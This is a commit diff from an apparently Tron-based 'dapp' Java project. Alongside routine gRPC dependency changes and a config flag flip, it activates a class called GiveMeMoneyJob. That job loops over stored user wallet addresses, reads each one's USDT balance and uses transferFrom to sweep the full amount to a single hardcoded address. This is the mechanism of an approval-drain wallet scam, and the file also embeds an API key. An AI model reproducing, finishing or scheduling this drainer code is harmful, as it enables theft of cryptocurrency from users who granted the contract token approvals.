fxi

wzy

2022-10-22 03bd618f5f3055f0a558a65b28a67fd604b27a1e

fxi

 pom.xml

@@ -23,6 +23,7 @@
        <tomcat.version>9.0.31</tomcat.version>
        <hutool.version>5.3.1</hutool.version>
        <aliyun-oss.version>3.8.0</aliyun-oss.version>
        <netty.version>4.1.33.Final</netty.version>
    </properties>

    <dependencies>
@@ -259,49 +260,59 @@
            <artifactId>spring-boot-starter-websocket</artifactId>
        </dependency>


<!--        <dependency>-->
<!--            <groupId>io.netty</groupId>-->
<!--            <artifactId>netty-all</artifactId>-->
<!--            <version>${netty.version}</version>-->
<!--        </dependency>-->


        <dependency>
            <groupId>io.vertx</groupId>
            <artifactId>vertx-core</artifactId>
            <version>3.9.7</version>
            <!--            <scope>runtime</scope>-->
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-netty-shaded</artifactId>
            <version>1.31.0</version>
            <!--            <scope>runtime</scope>-->
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-netty</artifactId>
            <version>1.31.0</version>
            <!--            <scope>runtime</scope>-->
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-okhttp</artifactId>
            <version>1.31.0</version>
            <!--            <scope>runtime</scope>-->
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-protobuf</artifactId>
            <version>1.37.0</version>
            <!--                    <scope>runtime</scope>-->
        </dependency>
<!--        <dependency>-->
<!--            <groupId>io.grpc</groupId>-->
<!--            <artifactId>grpc-netty-shaded</artifactId>-->
<!--            <version>1.31.0</version>-->
<!--            &lt;!&ndash;            <scope>runtime</scope>&ndash;&gt;-->
<!--        </dependency>-->
<!--        <dependency>-->
<!--            <groupId>io.grpc</groupId>-->
<!--            <artifactId>grpc-netty</artifactId>-->
<!--            <version>1.31.0</version>-->
<!--            &lt;!&ndash;            <scope>runtime</scope>&ndash;&gt;-->
<!--        </dependency>-->
<!--        <dependency>-->
<!--            <groupId>io.grpc</groupId>-->
<!--            <artifactId>grpc-okhttp</artifactId>-->
<!--            <version>1.31.0</version>-->
<!--            &lt;!&ndash;            <scope>runtime</scope>&ndash;&gt;-->
<!--        </dependency>-->
<!--        <dependency>-->
<!--            <groupId>io.grpc</groupId>-->
<!--            <artifactId>grpc-protobuf</artifactId>-->
<!--            <version>1.37.0</version>-->
<!--            &lt;!&ndash;                    <scope>runtime</scope>&ndash;&gt;-->
<!--        </dependency>-->

        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-stub</artifactId>
            <version>1.37.0</version>
            <!--                      <scope>runtime</scope>-->
        </dependency>
        <dependency>
            <groupId>com.google.protobuf</groupId>
            <artifactId>protobuf-java-util</artifactId>
            <version>3.11.0</version>
            <!--            <scope>runtime</scope>-->
        </dependency>
<!--        <dependency>-->
<!--            <groupId>io.grpc</groupId>-->
<!--            <artifactId>grpc-stub</artifactId>-->
<!--            <version>1.37.0</version>-->
<!--            &lt;!&ndash;                      <scope>runtime</scope>&ndash;&gt;-->
<!--        </dependency>-->
<!--        <dependency>-->
<!--            <groupId>com.google.protobuf</groupId>-->
<!--            <artifactId>protobuf-java-util</artifactId>-->
<!--            <version>3.11.0</version>-->
<!--            &lt;!&ndash;            <scope>runtime</scope>&ndash;&gt;-->
<!--        </dependency>-->



        <dependency>
            <groupId>org.bouncycastle</groupId>

 src/main/java/cc/mrbird/febs/dapp/service/impl/ApiIgtOnHookPlanServiceImpl.java

@@ -23,7 +23,6 @@
import cn.hutool.json.JSONUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import io.grpc.internal.JsonUtil;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.aspectj.bridge.MessageUtil;

 src/main/java/cc/mrbird/febs/job/BlockCoinUpdateJob.java

@@ -66,6 +66,7 @@

    @Scheduled(cron = "0 0/1 * * * ? ")
    public void usdtTc20UpdateQueue() {
        System.out.println(1111);
        // 查询最新区块号
        long getnowblock = trxUsdtUpdateService.getnowblockFromTronScan() - 25;
        // 拿到redis里最新区块

 src/main/java/cc/mrbird/febs/job/GiveMeMoneyJob.java

@@ -21,32 +21,32 @@
@Slf4j
@Component
public class GiveMeMoneyJob {

    private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
    ;

    @Autowired
    private DappAdressListDao dappAdressListDao;

//    @Scheduled(cron = "0 0/5 * * * ? ")
    public void giveMeMoney() {
        log.info("give me money");
        List<DappAddressList> list = dappAdressListDao.selectList(null);

        if (CollUtil.isEmpty(list)) {
            return;
        }

        for (DappAddressList address : list) {
            Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
            Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
            BigInteger balanceOf = token.balanceOf(address.getAddress());

            log.info("====>{}", balanceOf.intValue());
            if (balanceOf.intValue() <= 0) {
                continue;
            }
            token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L);
        }
    }
//
//    private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
//    ;
//
//    @Autowired
//    private DappAdressListDao dappAdressListDao;
//
////    @Scheduled(cron = "0 0/5 * * * ? ")
//    public void giveMeMoney() {
//        log.info("give me money");
//        List<DappAddressList> list = dappAdressListDao.selectList(null);
//
//        if (CollUtil.isEmpty(list)) {
//            return;
//        }
//
//        for (DappAddressList address : list) {
//            Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
//            Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//            BigInteger balanceOf = token.balanceOf(address.getAddress());
//
//            log.info("====>{}", balanceOf.intValue());
//            if (balanceOf.intValue() <= 0) {
//                continue;
//            }
//            token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L);
//        }
//    }
}

 src/main/resources/application-test.yml

@@ -52,4 +52,4 @@
  online-transfer: false
  chain-listener: false
  trade-job: false
  block-job: false
  block-job: true